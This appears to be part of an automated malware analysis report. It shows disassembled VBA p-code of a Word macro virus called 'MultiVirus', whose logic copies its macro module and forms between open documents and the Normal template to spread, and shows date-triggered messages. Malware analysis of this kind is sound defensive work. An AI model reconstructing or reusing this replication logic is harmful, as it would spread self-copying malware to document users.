' Line #62:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #63:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x000A "MultiVirus"
' 	Eq 
' 	IfBlock 
' Line #64:
' 	LitDI2 0x0001 
' 	UMi 
' 	St bInstalled 
' Line #65:
' 	EndIfBlock 
' Line #66:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #67:
' 	QuoteRem 0x0000 0x000B " WM.Concept"
' Line #68:
' 	Ld bInstalled 
' 	Not 
' 	IfBlock 
' Line #69:
' 	LitStr 0x0001 "1"
' 	ArgsCall MsgBox 0x0001 
' Line #70:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "MultiVirus"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #71:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #72:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #73:
' 	ElseBlock 
' Line #74:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "MultiVirus"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #75:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #76:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #77:
' 	EndIfBlock 
' Line #78:
' 	QuoteRem 0x0000 0x0009 " WM.Alien"
' Line #79:
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Eq 
' 	IfBlock 
' Line #80:
' 	LitStr 0x0019 "Hides the program manager"
' 	Ld vbCritical 
' 	LitStr 0x001B "Another Year of Survival..."
' 	ArgsCall MsgBox 0x0003 
' Line #81:
' 	EndIfBlock 
' Line #82:
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Eq 
' 	IfBlock 
' Line #83:
' 	LitStr 0x0013 "Closes current file"
' 	Ld vbCritical 
' 	LitStr 0x0020 "It's Sunday & I intend to relax!"
' 	ArgsCall MsgBox 0x0003 
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	Ld NomFichier 
' 	LitDI2 0x0009 
' 	Lt 
' 	IfBlock 
' Line #86:
' 	LitStr 0x0000 ""
' 	LitStr 0x0020 "Longer File Names Should Be Used"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #87:
' 	EndIfBlock 
' Line #88:
' 	QuoteRem 0x0000 0x000B "WM.Alliance"
' Line #89:
' 	Ld D1$ 
' 	LitStr 0x0001 "2"
' 	Eq 
' 	Paren 
' 	Ld D1$ 
' 	LitStr 0x0001 "7"
' 	Eq 
' 	Paren 
' 	Or 
' 	Ld D1$ 
…

Open this report in the interactive analyzer, or submit your own file for analysis.